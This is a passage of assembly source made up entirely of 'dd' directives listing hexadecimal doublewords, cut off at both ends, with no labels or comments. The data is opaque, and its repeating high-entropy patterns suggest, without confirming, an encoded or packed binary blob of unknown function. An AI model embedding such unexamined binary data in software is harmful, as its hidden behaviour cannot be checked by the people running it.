1201AE54h, 54DFBF50h, 0BC13C22Bh, 0EA0EA792h dd 744AB007h, 8F4EC84Eh, 0FF3DE38Dh, 0AA67BC48h, 9B4069F4h dd 0CF842A74h, 3668A728h, 8552C187h, 3DA0BC0Eh, 14FFE683h dd 8355B8D4h, 227BFFE6h, 2BDA337Ch, 4FB45F16h, 0F1A8DEC0h dd 828E96F3h, 0BC04B31Ch, 0E0AD0EA0h, 0AB3B9407h, 58E3BB56h dd 0BCD2892Fh, 82FD607Ch, 52BFFFE6h, 6F8B0B4Ch, 0FFE6830Ch dd 0D278E13Ah, 0E85D03Fh, 0CDE052C1h, 6563DFA9h, 19D344B3h dd 0BC0E852Bh, 0BD203C7Ch, 0E3FFE683h, 0D70E48Ah, 33FFE683h dd 20F54ADAh, 24CAF37Eh, 855F166Dh, 623CD82Dh, 71C105BCh dd 0A1D70731h, 4B96F71Ah, 0E6907CDFh, 0AB51AAFFh, 3569A7F4h dd 0A75F1686h, 0C185346Ah, 0A785F452h, 4B17F86Ah, 244DD8C6h dd 16A352BBh, 0B3EB297Eh, 0A259FF28h, 0A3336BA7h, 34DAC44Eh dd 0A752C17Dh, 0BC85346Ah, 82FD607Ch, 8E23FFE6h, 0FB41D81h dd 0E60F9A04h, 0E03EAD40h, 4539EF8Fh, 13091C46h, 8A52364Ch dd 92BC2DE4h, 0A160301Dh, 0A24FF580h, 89EC086Fh, 0B7FFE77Ah dd 4757B95Eh, 7B2A93BCh, 92BC5F16h, 0DA782835h, 0DB882E4Eh dd 0C1B96836h, 0EF8BE052h, 0F54A4539h, 0CBF47F1Fh, 44B36E25h dd 0A72B19D3h, 1685346Ah, 346AA75Fh, 0A752C185h, 4EA3336Bh dd 0E94ED9C5h, 0C0E9742Ah, 16FAB157h, 346AA75Fh, 3E7E1685h dd 0E683BF22h, 0E68CE5FFh, 0AA67BC2Fh, 70A14EF4h, 52C17F2Eh dd 84336BA7h, 1B7A52C1h, 0A4A19D3h, 834BAECAh, 2079FFE6h dd 0E68351B4h, 80267FFFh, 0D492BCC9h, 770117D3h, 0F02AF55h dd 0A1D5FF8Fh, 8732E42Ah, 1629E086h, 0F76BA75Fh, 6918811Dh dd 6DA75F16h, 52C18231h dd 0E6837DE0h, 16FF54FFh, 6CD5C94Ch, 5B12B8E1h, 0A1316DA7h dd 4ED9C54Ch, 16C87F25h, 346AA75Fh, 0A752C185h, 0C182316Dh dd 3569A752h, 0D3CB45AAh, 79DCF848h, 0A7FFE683h, 0CF89CA4Eh dd 0BCF65527h, 82FD607Ch, 0CA23FFE6h, 1AE9A324h, 0F45AB1F0h dd 213D3510h, 0FFE72EBEh, 7C228BE4h, 346AA7C5h, 855F1685h dd 0A752C10Eh, 4CA1316Dh, 224BD6C8h, 5F16C57Ch, 0C54FA4F4h dd 0BC7C33D9h, 65F0AE67h, 0BF22963Ch, 77FFE683h, 19D31B7Ah dd 85F89F2Bh, 0AC67BC0Eh, 69B94CF2h, 17A2FC14h, 0A79148EEh dd 0C185346Ah, 0D82D8552h, 0B5E9273Bh, 0F398012Ah, 1FD67C22h dd 8341A0BCh, 0BB10FFE6h, 91BA4559h, 9A49A2EBh, 143E7E16h dd 911234CFh, 1679E528h, 3CFFE722h, 99B056D2h, 0D23B96E7h dd 6AA7752Ch, 0C77AA434h, 0C1F50A99h, 94BECF49h, 0F979A501h dd 5F169C53h, 4DC2179Fh, 0A7F4AB51h, 0C1863569h, 4C92BC52h dd 89928F7Fh, 0AC3767AAh, 741A83h, 63DFA9EDh, 0D344B385h dd 69A72B19h, 5F168635h, 0FD607CBCh, 23FFE682h, 901B838Eh dd 0E458FE67h, 0FFE6D82Ch, 346AA7ACh, 0AD67BC85h, 68B84BF1h dd 239D0113h, 0B6DA3D97h, 0AD640A61h, 0A0BC0E85h, 0FFE6833Dh dd 5D41CE63h, 0B04A9D2h, 167B2A93h, 0BCCCE05Fh, 618B3F63h dd 49408DFDh, 40F79DA3h, 1DF86AA7h, 0BC691881h, 69F4AA67h dd 0A55C9A40h, 0FD607CBCh, 23FFE682h, 9A7724CAh, 52C15504h dd 0C923237Bh, 32E81F49h, 6664122Bh, 19D309C0h, 346AA72Bh dd 547E1685h, 7F65BF22h, 762DD3FDh, 0F0AE67BCh, 2A749D4Ah dd 0A867BC7Bh, 4EBD50F6h, 0CBF710E0h, 51C8A857h, 0FD607CBCh dd 23FFE682h, 0E9A324CAh, 0AC67BCFBh, 0D69D78F2h, 682014E0h dd 0A2FC15C2h, 0A75F16F3h, 66BC236Ah, 21CF09FFh, 0FC25B0EEh dd 0C17B2A93h, 0A7F71C71h, 0A279F31Ch, 8BBE532h, 0E0B2690Fh dd 166AA4EAh, 507ABA8Ah, 0B0662C23h, 0A75E0451h, 0EE277CBCh dd 90FC25B0h, 0FFE6832Dh, 0D354FA53h, 3D204A19h, 5F4E805Fh dd 6AF5A966h, 7B32D841h, 0CEA967BCh, 0E6834FB2h, 0B31C75FFh dd 0EDB1600Dh, 5F92BC3Eh, 49A7726h, 5D32098Ah, 8CE179B7h dd 0BB721886h, 0FD607CBCh, 23FFE682h, 0D45D91B9h, 63CCA278h dd 620010BDh, 0D988F1ADh, 6AA752C1h, 1578D223h, 0B72061CCh dd 0C852C108h, 2B19D351h, 0A53569A7h, 9A45577Bh, 3DD7CABFh dd 44ADD661h, 5F16E79Eh, 71C10E85h, 1DA8F61Ch, 834EB1CDh dd 1B74FFE6h, 0A7550CB2h, 0AEAC236Ah, 7D7729EFh, 5F166514h dd 7DE085F4h, 54FFE683h, 8395F814h, 62BBFFE6h, 5BBA05BCh dd 9F2B19D3h, 0F56DA7F8h, 0D2CC441Eh, 2AB51E47h, 0F2DCCF0h dd 0D63F65EBh, 52C1BE6Dh, 0A0BC0E85h, 0FFE6833Dh, 0BC5B0A63h dd 82FD607Ch, 0CA23FFE6h, 0F42FE624h, 316DA785h, 297E1682h dd 12AB5E9h, 67BCA45Bh, 426BF6A8h, 7925EF9Ch, 0E052C1CAh dd 0FFE6837Dh, 103A7A35h, 7EE84ABh, 0FEB55B10h, 0A4A19D3h dd 0E6838BEEh, 0BA60B9FFh, 316DA703h, 0A75F1682h, 4CA1316Dh dd 224BD6C8h, 71C1C57Ch, 0A2F25F47h, 842AEAD6h, 837DE0CDh dd 0A735FFE6h, 841AF76Bh, 0DC67D0F9h, 76019D77h, 9941FB24h dd 0F24787C7h, 0CAF37E20h, 0E682FB5Eh, 5BBEDAFFh, 89FFE683h dd 0F096EF30h, 4A19D339h, 0F6811DF5h, 0BC7027CDh, 85014292h dd 7C22DACEh, 0C95945CFh, 0F64AB39Fh, 66AA7792h, 7229CF38h dd 6EA75F16h, 0B57CA530h, 0A752C13Eh, 821CF56Dh, 0E16C32DDh dd 6ABF4FB8h, 415DB8AAh, 7E244DD8h, 1C71C1C7h, 46783F4h dd 32FFE683h, 13CA70D9h, 0A0BC0E85h, 0FFE68341h, 60C3DF5Fh dd 86FFE683h, 0BC15C42Dh, 8BC74892h, 943AB1E6h, 6DA79F56h dd 7E168231h, 0CB598854h, 48EEE29Ah, 32D8591h, 0BD3B36F8h dd 0B46B11AFh, 0F13171C1h, 0E68372D5h, 0DB47A0FFh, 0FFE68378h dd 0E89F459Eh, 69A7F89Fh, 4E690B24h, 931997D6h, 5F81D6EDh dd 54036CD5h, 0F31C71C1h, 51F720ABh, 607CBC9Ah, 0FFE682FDh dd 8355B8D4h, 227BFFE6h, 6EE288E1h, 0FFE6830Ch, 0D330E7CCh dd 4C842B19h, 0EA387481h, 32Dh, 346AA77Bh, 3C7CBC85h, 0E683BD20h dd 1E8AE3FFh, 0FFE683BBh, 57EA90E9h, 3668A7E8h, 0E052C187h dd 0FFE6837Ch, 0AD67BC3Ch, 973D66F1h, 0CA7925EAh, 92BC5F16h dd 0F69A9257h, 0F7A44AD7h, 0D3CB4A18h, 52C1BB6Ah, 0FD607CBCh dd 23FFE682h, 9A7724CAh, 5F165504h, 0CAAD67BCh, 0E6834BAEh dd 0B72079FFh, 0F3AB6411h, 0A75F1644h, 33CD1F6Eh, 0B6576210h dd 52C19E4Dh, 69C8B5E0h, 92BC3D5Ch, 59C3B380h, 76A869Eh dd 2DFFE697h, 0BFDB6BD4h, 0FFE6975Ch, 0DE8B318Ah, 16B86737h dd 7D92BC5Fh, 207E9500h, 56F26C95h, 5704AA1Dh, 0C131E0BEh dd 0AD67BC52h, 0F0166F1h, 72DB048Fh, 82F258CCh, 0A7B2FFE6h dd 44A9346Ah, 2A8DA9CEh, 58FFE683h, 790B96FFh, 90EE9650h dd 2B19D329h, 0F1AD67BCh, 27779E4Bh, 607CBC78h, 0FFE682FDh dd 0E624CA23h, 96EA72Fh, 0E6838AEDh, 0F65FB8FFh, 0E052C147h dd 11325D4Bh, 4BAECA0Ah, 7911325Ch, 0E6AA620h, 0A8E354ADh dd 3A7A4B02h, 0CC722CE5h, 2B19D315h, 0E1AC67BCh, 1423E4E0h dd 74FF68A2h, 0D63A933Ah, 81EAFF96h, 0B7E72EDBh, 0AC67BC08h dd 570E4CF2h, 0F5A967BCh, 0EE9B416Ah, 0ACEC7C22h, 0E6832D90h dd 0B7D353FFh, 0FFE68354h, 1AC02982h, 0BC52C163h, 82FD607Ch dd 0CA23FFE6h, 0A1A2B024h, 0A7D2548Fh, 44A9346Ah, 0F747D2CCh dd 0E68378DBh, 73459EFFh, 0B7D7904Ah, 3659FA05h, 53B244ADh dd 0F1AD67BCh, 7D983D66h, 0C76D9621h, 0BC9E8C46h, 4EF4AA67h dd 9F2F6FA1h, 2ED4CA4Ah, 0A75F1677h, 0C1863569h, 306EA752h dd 1C71C181h, 0A05AAF4h, 3AE00994h, 0D35BBA83h, 69A72B19h dd 5F168635h, 0F20E69A7h, 0FFE6838Fh, 0B61935B5h, 0DCFFE683h dd 9F751A83h, 0E24B74FFh, 0E052C133h, 548FA1D2h, 0D31B7A62h dd 69A72B19h, 5F168635h, 81306EA7h, 69A75F16h, 7CBC8635h dd 0E682FD60h, 818E23FFh, 69921Dh, 0E058C75Ah, 7396BDBAh dd 507ABA7Ah, 0A369DF26h, 9A51F744h, 0A72B19D3h, 50A53569h dd 2750DBC3h, 5F16CA81h, 0BB1892BCh, 0A2C34E5Bh, 0DDC14FFCh dd 0AB67BC2Eh, 4BBA4DF3h, 3A7792BCh, 70131CBAh, 4F3356CAh dd 7AF323A0h, 4C2BE53Ah, 0E683CD30h, 319AF3FFh, 20D77DA6h dd 0A72B19D3h, 16863569h, 3569A75Fh, 0A752C186h, 0C185346Ah dd 326CA752h, 0D0CE42A7h, 3EF82945h, 0D365C496h, 69A72B19h dd 5F168635h, 863569A7h, 0DC3171C1h, 9BFE6A34h, 0C9FFE683h dd 0E013CA70h, 239FC6BDh, 306EA775h, 0CAD440A5h, 0CA84AD3Fh dd 0D3319022h, 69A72B19h, 5F168635h, 863569A7h, 0BAE052C1h dd 7A7396BDh, 2BE53A7Ah, 0EAEE873h, 57CA51C1h, 580FB51Eh dd 0A72B19D3h, 50A53569h, 7E35DBC3h, 223E7E16h, 0FFE683BFh dd 2FE68CE5h, 863569A7h, 67BC52C1h, 4FB2CEA9h, 75FFE683h dd 0FF28B31Ch, 0A28BE559h, 7A496DB5h, 2B19D31Bh, 863569A7h dd 67BC5F16h, 4069F4AAh, 7A24ED9Ah, 6D5F16CBh, 0D15h, 3569A706h dd 0E052C186h, 0FFE68384h, 254FE734h, 0B06EBC3h, 58BA5F9Eh dd 0D3E9A046h, 4C842B19h, 33387481h, 0E06B33DEh, 233011B7h dd 0C1000006h, 0F4AA67BCh, 33D9C54Fh, 7DE064D3h, 54FFE683h dd 18C12FFh, 0BA7B32D8h, 0A867BC5Bh, 15CF50F6h, 0A7F89F27h dd 0BC84336Bh, 4AF0AE67h, 0E8548B7h, 0BAA867BCh, 55E04955h dd 1D809C2Ch, 43FFE683h, 90AC44EAh, 0FFE6832Dh, 164BFA53h dd 0A867BC5Fh, 9C426BF6h, 7DE0CD3Ch, 35FFE683h, 19D35BBAh dd 0AD67BC2Bh, 973D66F1h, 6AA73BE2h, 52C18534h, 67BC0E85h dd 0DCB5E2ABh, 0BD3669F8h, 0FAA0C954h, 2EE34662h, 0B811FFE7h dd 0E05F1609h, 22E2B317h, 5F92BC9Fh, 6987752h, 15D8527Bh dd 16C369D7h, 16F4A3FBh, 0F86AA75Fh, 0D1FA8519h, 4FB8E62Ch dd 8552C1A0h, 0E052C10Eh, 2690D788h, 0D344B330h, 0E852B19h dd 833DA0BCh, 0A63FFE6h, 0A967BC5Bh, 9C416AF5h, 769F2A74h dd 0A7DB92D0h, 4EA3336Bh, 2952DDC1h, 7E16CC83h, 28B3EB29h dd 0A7A259FFh, 690D226Bh, 57BE0350h, 71C13FEEh, 3A9F51Ch dd 0D788E04Ch, 0B3302690h, 5FFF3963h, 0FE1DBB42h, 620828C5h dd 0A74DB6D4h, 3B92BCF0h, 76807E2Eh, 0F3AD2ED4h, 336BA705h dd 0A75F1684h, 1685346Ah, 336BA75Fh, 0DDC14EA3h, 0CC832952h dd 0FD607CBCh, 0D4FFE682h, 0E68355B8h, 0E1227BFFh, 0E04FE288h dd 519588E0h, 6EA7306Ah, 0D240A530h, 0AFE841CCh, 5CBB4DF5h dd 0F5A967BCh, 1A9B416Ah, 6BA77260h, 5F168433h, 0FD607CBCh dd 23FFE682h, 9E7724CAh, 0FA1B7000h, 4AF019A4h, 0A752C193h dd 0C184336Bh, 0FEB0E052h, 0A7487DC3h, 1684336Bh, 336BA75Fh dd 0D7C74EA3h, 71C17A31h, 5AAF41Ch, 31E88E10h, 81306EA7h dd 143E7E16h, 5C1B11D8h, 0E144B0F3h, 0FFFE6EBh, 0B4513CB6h dd 0DCA48894h, 6BA77F36h, 0EDADAA22h, 7EE7F493h, 0A75F16CFh dd 0C184336Bh, 306EA752h, 0B352C181h, 2B19D344h, 84336BA7h dd 6EA75F16h, 5F168130h, 84336BA7h, 7CE052C1h, 5BC5366Fh dd 0BD570B06h, 1BD278E1h, 40E63B3h, 7FD50F9Ah, 0BACEC2EFh dd 5C13B922h, 204A19D3h, 0D9FA54B7h, 89882D0Eh, 0BB618A15h dd 336BA704h, 0AC67BC84h, 834CAFCBh, 217AFFE6h, 5E042DB8h dd 67BC6920h, 9E4BF1ADh, 0C17D2C72h, 0A967BC52h, 70A24FF5h dd 52C17F2Eh, 19D31B7Ah, 2469A72Bh, 0C0C2387Fh, 1BAB143Bh dd 0C7524CC6h, 1641F89Eh, 0F76BA75Fh, 6C1B841Ah, 6CA75F16h dd 4662A232h, 0FFE682E3h, 12759111h, 40FFE683h, 21D87EE7h dd 30E052C1h, 0C80B759Dh, 19F66CA7h, 68D1FA85h, 607CBCB9h dd 0FFE682FDh, 2487A323h, 52FFE683h, 0ACEA90F9h, 326CA7F5h dd 0DCC24DA2h, 71C17F36h, 20ABF31Ch, 0DDE99AE6h, 92FBB0A7h dd 85374218h, 14BAF966h, 0BC167D5Dh, 4FF5A967h, 6BA75A11h dd 71C18433h, 34FE0731h, 73171F41h, 0E710A407h, 0D379D2FFh dd 0B8E9E01Ch, 0A7891404h, 1684336Bh, 0AC67BC5Fh, 0AE3E67F2h dd 0E6832F92h, 56FC55FFh, 863569A9h, 0F51C71C1h, 0A4C03A9h dd 2B19D36Bh, 0F3AB67BCh, 0BC580F4Dh, 82FD607Ch, 0CA23FFE6h dd 83BB1E3Ah, 90E9FFE6h, 0C9D53DEAh, 0F092BC1Ah, 0CDBB33BEh dd 67D6690Fh, 0EEE892BCh, 5201FE2Bh, 0F755B4D8h, 0F69C6648h dd 19D30DACh, 5292BC2Bh, 8C0C9555h, 0C57CBA60h, 0E2AB67BCh dd 4A6FC32Ch, 0A5359EE5h, 0E6DE2689h, 4DF34CFFh, 9C2C72A0h dd 7A613772h, 0F2986244h, 0E052C13Bh, 9640509Fh, 0D35BBA57h dd 6BA72B19h, 0C34EA333h, 0AD2750DBh, 0EE323FEFh, 0E59C4269h dd 7CBC5F16h, 0E682FD60h, 848E23FFh, 0FD668F1Ah, 3569AA57h dd 0A752C186h, 0BC84336Bh, 68B42592h, 882EF0DAh, 51C886F5h dd 0F54A19D3h, 26DD831Bh, 0F5A967BCh, 0EE9B416Ah, 16CA7925h dd 0C6BA75Fh, 0D94559B7h, 0FFE68376h, 940A079Ch, 0E77E009h dd 297E165Fh, 42DB8E6h, 6CA7A75Eh, 838CEF0Bh, 61BAFFE6h dd 52C149F8h, 0FD607CBCh, 0D4FFE682h, 0E68355B8h, 0E1227BFFh dd 0F36EE288h, 631971A7h, 0DEFA3A7Ah, 0FFE6837Bh, 0F3AA50A9h dd 0F4AA67BCh, 199A4069h, 6CA7715Fh, 5F168332h, 67BC85F4h dd 4FB2CEA9h, 75FFE683h, 0FF28B31Ch, 8382E559h, 0BA42FFE6h dd 2B19D35Bh, 6CA7F89Fh, 52C18332h, 0A0BC0E85h, 0FFE6833Dh dd 9307EA14h, 0AA42564Ah, 9940A05h, 5CF13AE0h, 0A2E2D9B4h dd 67CA1325h, 0E14A73FEh, 0A967BC32h, 5A114FF5h, 67BC0E85h dd 3F5FB5ADh, 97228BB4h, 5FC2DE6Eh, 85FFE683h, 84F3862Ch dd 7E16167Dh, 1FEE143Eh, 0B3825F31h, 0E77AE447h, 13B912FFh dd 0C10E855Ch, 607CBC52h, 0FFE682FDh, 7724CA23h, 1D72029Ch dd 0F51EA9F5h, 5F16984Fh, 82316DA7h, 67BC52C1h, 0EB4BF1ADh dd 0F56DA77Ch, 6C1B841Ah, 7CBC5F16h, 0E682FD60h, 41B923FFh dd 0F7D18461h, 6916BC25h, 4DB0CCABh, 73FFE6F1h, 0C102B11Ah dd 837DE052h, 7A35FFE6h, 600E103Ah, 3BB5E926h, 0E288D434h dd 2B19D32Bh, 147192BCh, 95A341B4h, 0CCD242EFh, 297E161Dh dd 0FF28B3EBh, 6DA7A259h, 52C18231h, 0E6837DE0h, 11FF54FFh dd 7A30E78Dh, 2B19D31Bh, 1AF56DA7h, 166C1B84h, 32D855Fh dd 8AA7CE64h, 8138DEABh, 614771C1h, 0F46A4E0h, 0A73DF49Ah dd 0C182316Dh, 0DBB0D252h, 0D9534BC8h, 3C58542Bh, 0FFE74DD9h dd 7E45AE07h, 41A0BC07h, 5FFFE683h, 0EE217606h, 56FC25B0h dd 0BC5F169Fh, 4AF0AE67h, 7827779Dh, 92BC5F16h, 23BEE0h dd 0A8C4545Bh, 0FFE75445h, 0B76C126Bh, 326CA710h, 0E052C183h dd 8DB25B9Eh, 0D31B7A56h, 1CF54A19h, 8392F782h, 50DB21Bh dd 0A73CF399h, 1683326Ch, 3569A75Fh, 0DBC350A5h, 52C17E35h dd 0F4AA67BCh, 2C72A14Eh, 1C71C17Dh, 4900A6F8h, 7CBC5BBAh dd 0E682FD60h, 24CA23FFh, 0A7FBE9A3h, 50A53569h, 7D34DAC4h dd 6CA75F16h, 5F168332h, 6C46Dh, 85F40600h, 0E6837DE0h dd 6CA735FFh, 0F7821CF6h, 75DA65CEh, 0E779049Ah, 9E4B04BEh dd 0E0CAE1DCh, 0C423B51Eh, 0BC2B19D3h, 99595692h, 6D12F3BEh dd 0A156FCA2h, 0F969A7FAh, 6F9C721Bh, 0C59071DFh, 0C144F35Ch dd 99F41C71h, 0F0A49561h, 35DB4477h, 0BC0E857Eh, 0E6833DA0h dd 5B0A63FFh, 85F45F16h, 863569A7h, 69A75F16h, 52C18635h dd 0E6837DE0h, 1B7A35FFh, 0A72B19D3h, 77C22469h, 0BD2B6905h dd 7E16A554h, 11B6E829h, 0E60F9A04h, 69A78940h, 0A17BA535h dd 0D345E4B7h, 4A6F1F99h, 7BB127B2h, 52C11ED5h, 0E6837DE0h dd 5BBA35FFh, 0A72B19D3h, 16863569h, 9962E05Fh, 0A712FFE6h dd 0C1863569h, 0A7F71C71h, 2D854A01h, 0BD633BD8h, 3DA0BC06h dd 63FFE683h, 7E165B0Ah, 29B4EA29h, 0D2A35A00h, 0DCF373B0h dd 0F26930FCh, 203C7CBCh, 0FFE683BDh, 0DEFA8AE3h, 0FFE6837Bh dd 36AA50A9h, 0FFE683D3h, 0C1F9A801h, 3569A752h, 0A75F1686h dd 878E336Bh, 0BCD95017h, 0E6833DA0h, 5B0A63FFh, 0E855F16h dd 0F89F52C1h, 863569A7h, 68A752C1h, 0BB82AB36h, 0E492BC44h dd 0BA0E2782h, 824BC62h, 0FFE6B3A5h, 0BCC372CBh, 67F2AC67h dd 27900E02h, 0A78C4381h, 0C1873668h, 3569A752h, 0AA67BC86h dd 0FD1969F4h, 0FFE6839Ah, 60066FC8h, 7CBC5ECDh, 0E682FD60h dd 24CA23FFh, 3D8DFFB0h, 67BC776Ch, 4559B6ACh, 9D2891BAh dd 5BC4DA38h, 960808B5h, 0AC67BCE7h, 983E67F2h, 69A7A35Ah dd 71C18635h, 1AA5F91Ch, 0E0944BF1h, 6C3D8E2Bh, 2363B3CBh dd 0E683A407h, 0D379D2FFh, 2B19D31Ch, 0F5A967BCh, 306EA24Fh dd 0A75F1681h, 0C1863569h, 3668A752h, 0A75F1687h, 16863569h dd 0B6E8297Eh, 0F79D0111h, 0AB67BC40h, 0DC4559B7h, 0E822851h dd 0FFE6A799h, 326CA7D5h, 0E34662A2h, 11FFE682h, 0C15B12B8h dd 0A9F51C71h, 984FF51Eh, 0A0BC0E85h, 0FFE6833Dh, 257A0A63h dd 99859DF0h, 5B2507C8h dd 983E67F2h, 0AA67BCE1h, 9A4069F4h, 6EA7A55Ch, 0E876A030h dd 0E8F72B4Eh, 0C1EEA54Bh, 72073171h, 51B2B5DCh, 4B379A06h dd 45DFFE7h, 0A7E0A75Eh, 6E73CDBDh, 0EAC5D244h, 0C0E9742Ah dd 0D6B38246h, 6EA77930h, 5F168130h, 81306EA7h, 167D52C1h dd 44547E16h, 0F2557145h, 20FFE73Dh, 0CDBC4DC7h, 0A7B36A10h dd 0C181306Eh, 0CB92BC52h, 79DCF86Eh, 0A7FFE768h, 0C985D44Eh dd 0FE5A33D9h, 524CC81Dh, 6AA7F5ACh, 0F6811DF8h, 74D964CDh dd 2375009Eh, 6D9840FAh, 2B19D3BEh, 81306EA7h, 6CA75F16h dd 4662A232h, 0FFE682E3h, 5B12B811h, 0F71C71C1h, 4DF31CA7h dd 5026E096h, 0A7CE0292h, 1683326Ch, 78EA297Eh, 0F298019Dh dd 0F46EA73Bh, 0DD405C1Bh, 3FFE683h, 8DB641AAh, 52C17524h dd 83326CA7h, 153171C1h, 0FFE683B2h, 2AE187E0h, 0A6316DA7h dd 525C0F6Ch, 0CE733D1Fh, 0B3CF5A44h, 0DDF9C882h, 0FFE7367Ah dd 54E64FA8h, 4A19D3F5h, 0D97F1FF5h, 306EA722h, 607CBC81h dd 0FFE682FDh, 0E624CA23h, 8717F94Eh, 67BC2AE1h, 435BB8AAh dd 8C8734DAh, 2CD9E901h, 0B41DCEC9h, 3E7E1605h, 0E683BF22h dd 0E68CE5FFh, 306EA72Fh, 0D4CA4BA0h, 71C1772Eh, 83B21531h dd 87E0FFE6h, 7CBC2AE1h, 49B5E927h, 0FFE682E6h, 600DB30Ch dd 0FF63AFB3h, 0D5FE8915h, 4FB8E16Ch, 297E16A0h, 0FE27B2ECh dd 6EA7A158h, 5F168130h, 0A0BC0E85h, 0FFE68341h, 0C157065Fh dd 326CA752h, 7A52C183h, 2B19D31Bh, 7CBC0E85h, 0E682FD60h dd 24CA23FFh, 8311708Ch, 0C52FFFE6h, 16F9BEB6h, 52016A0Fh dd 203C7CBCh, 0FFE683BDh, 70E48AE3h, 0FFE6830Dh, 28769E33h dd 7B0B749Dh, 24AFEF26h, 169E55FBh, 0F66CA75Fh, 0CBF47F1Fh dd 7E16B362h, 0DB2EC29h, 3FF69C02h, 0A9346AA7h, 83DA3D59h dd 0AF08FFE6h, 0E7277F46h, 0E68368CBh, 8F358EFFh, 3DA0BCD8h dd 14FFE683h, 0C04B53BFh, 0FB23B886h, 0C932F0DEh, 0F181DA23h dd 0EA3295B1h, 760FFE6h, 71C1AA61h, 5ABF31Ch, 0AA67BC4Eh dd 9B4069F4h, 719A2579h, 0ADF11ECBh, 7A52C1FEh, 4A19D31Bh dd 0DE841AF5h, 0BC0E8527h, 0E6833DA0h, 5B0A63FFh, 833DA0BCh dd 0A63FFE6h, 0BB1E3A7Ah, 85FFE683h, 74CD0E90h, 5F1617CEh dd 7CBC0E85h, 0DB3EB27h, 0E6833699h, 54035CFFh, 86E052C1h dd 2E0EBDCFh, 67BC5BBAh, 0CA4BF1ADh, 0E852210h, 833DA0BCh dd 0A63FFE6h, 0BB1E3A7Ah, 9AFFE683h, 0E6831B7Eh, 0AFF049FFh dd 3D61B156h, 2CE389B2h, 833DA0BCh, 0A63FFE6h, 69103A7Ah dd 0EE12AC3Ah, 0E797FA66h, 28BDFFE6h, 0A64CB5E9h, 0BC5F16EFh dd 0AA8A6792h, 0FA167BE9h, 0FFE77597h, 55FB64BDh, 883767A8h dd 0E855F16h, 0FD607CBCh, 23FFE682h, 0B21B838Eh, 0FF29790Ch dd 0B50A95C7h, 0AC63096Bh, 52C10E85h, 863569A7h, 42547E16h dd 0D8E855Fh, 0F4853CE2h, 0D9C54FA4h, 0C87F254Eh, 0E6837DE0h dd 6CA735FFh, 0CD42A732h, 0B7207E95h, 0E09AD32Ch, 0FC266638h dd 2BC2107Fh, 22D97F8Bh, 9F2B19D3h, 0E085F4F8h, 0FFE6837Dh dd 0BC5BBA35h, 82FD607Ch, 55BFFFE6h, 9AF0849h, 9FE0CE88h dd 336BA7F8h, 8552C184h, 3DA0BC0Eh, 63FFE683h, 0D25D41CEh dd 0BC9140A9h, 82FD607Ch, 0CA23FFE6h, 0F94EE624h, 2BE28816h dd 0E8585F4h, 1E7392BCh, 17A5C3B6h, 0A76FDE71h, 63A3336Bh dd 0E682E447h, 13B912FFh, 0F45F165Ch, 607CBC85h, 0FFE682FDh dd 19858E23h, 33960AB0h, 0F3FFE683h, 19D31B7Ah, 7F1FF54Ah dd 67BC22D9h, 3D66F1ADh, 0A73BE297h, 4919F76Bh, 2049D4CAh dd 73032CB7h, 0E682F457h, 60C922FFh, 4771C1B1h, 77EDD0AAh dd 6E25CBCFh, 0E6837DE0h, 3A7A35FFh, 837BDEFAh, 50A9FFE6h dd 19D3F3AAh, 7E20F54Ah, 6BA721D8h, 5F168433h, 0A3336BA7h dd 697E2679h, 0B949DEF5h, 0E6D83A9Dh, 690F68FFh, 0E052C1B2h dd 0FFE6837Dh, 0E53A7A35h, 5EE3612Ch, 4ADEF626h, 0BC843BE1h dd 66E22392h, 0D83AEB22h, 36B75DC6h, 6BA78E7Ch, 0C44EA333h dd 167D34DAh, 32D855Fh, 34F184AEh, 2BE2883Bh, 6BA752C1h dd 838DF00Ch, 5AB3FFE6h, 71C142F1h, 83B21531h, 87E0FFE6h dd 0E852AE1h, 8341A0BCh, 65FFFE6h, 0A967BC57h, 9B416AF5h dd 6BA7A65Dh, 5F168433h, 8F5C92BCh, 880A6D89h, 0DF38FFE6h dd 82972E65h, 5F9F27DCh, 0E690E043h, 7AD06FFh, 9BC9E050h dd 0BC69FFE6h, 82FD607Ch, 0CA23FFE6h, 0BB1ED25h, 3DECB25Eh dd 0A0BC52C1h, 0FFE6833Dh, 4B8C12FFh, 0BCB42BF2h, 0E6833DA0h dd 44CE63FFh, 20ABF31Eh, 9E038EF7h, 55BE2777h, 0F35F16A6h dd 0E53ACA96h, 0BEE7722Ch, 0A0BC6118h, 7E0AD0Eh, 168C3B94h dd 0B5E9297Eh, 9A3A573Bh, 1FC5BA71h, 0F86AA768h, 0D3FC8717h dd 0D7B0DA6Ah, 0BB4A1A88h, 0C141F89Eh, 0C8114771h, 0F4B9A054h dd 85F4974Eh, 35236AA7h, 0BB85780Ch, 0B43396B2h, 861FFE6h dd 51A6369Fh, 2750DBC3h, 5F16CA81h, 863569A7h, 32E052C1h dd 0E15A6CDAh, 8C17878Ch, 0A706BD63h, 65A53569h, 0D5CC923Bh dd 0B92556D1h, 0FFE75056h, 0C67D237Ch, 0D5547E16h, 89A21839h dd 0A79950F6h, 0C1863569h, 23237B52h, 7CBC2AC9h, 0E682FD60h dd 828E23FFh, 0FF68911Ch, 301ED859h, 0F5A967BCh, 0EE9B416Ah dd 16CD7C22h, 3569A75Fh, 0E052C186h, 0FFE6837Ah, 0D321D83Ah dd 69A72B19h, 7E168635h, 2B30E854h, 660CC8B8h, 3569A7AFh dd 1C71C186h, 0F3AB6AF8h, 0E02DE48Ah, 0FFE6837Ah, 0D321D83Ah dd 69A72B19h, 5F168635h, 0A4346AA7h, 8AE6477Ah, 8B853D6Dh dd 0F65F8813h, 67BC9950h, 4757B9A9h, 842A93BCh, 0C34CA1F1h dd 0E07E35DBh, 5D6A1DEh, 346AA796h, 0A75F1685h, 0C185346Ah dd 837AE052h, 0D83AFFE6h, 2B19D321h, 85346AA7h, 6AA75F16h dd 52C18534h, 0A724247Bh, 46AB3668h, 0C0BBC4C9h, 50BAFCFEh dd 1CF75CE7h, 0DC7F082h, 0D343E265h, 6AA72B19h, 838EF10Dh dd 5BB4FFE6h, 5F1643F2h, 17F86AA7h, 0C16F1E87h, 0A5F91C71h dd 0FF8A1400h, 0BC7930D6h, 82FD607Ch, 54BFFFE6h, 0AB0094Ah dd 0E6833096h, 55BA0FFFh, 0EF95BE49h, 316DA738h, 0CAD441A6h dd 38F2233Fh, 0D3651C90h, 6AA72B19h, 7E168534h, 12B8E629h dd 0FA68A75Bh, 9237716h, 0A5FB5166h, 0C124D33Ch, 90FDE052h dd 94D40847h, 90D53854h, 0A2FB0847h, 4790D336h, 1442C808h dd 0DE628A85h, 4993339Dh, 7E752AD6h, 0A7B86F15h, 51A63668h dd 2750DBC3h, 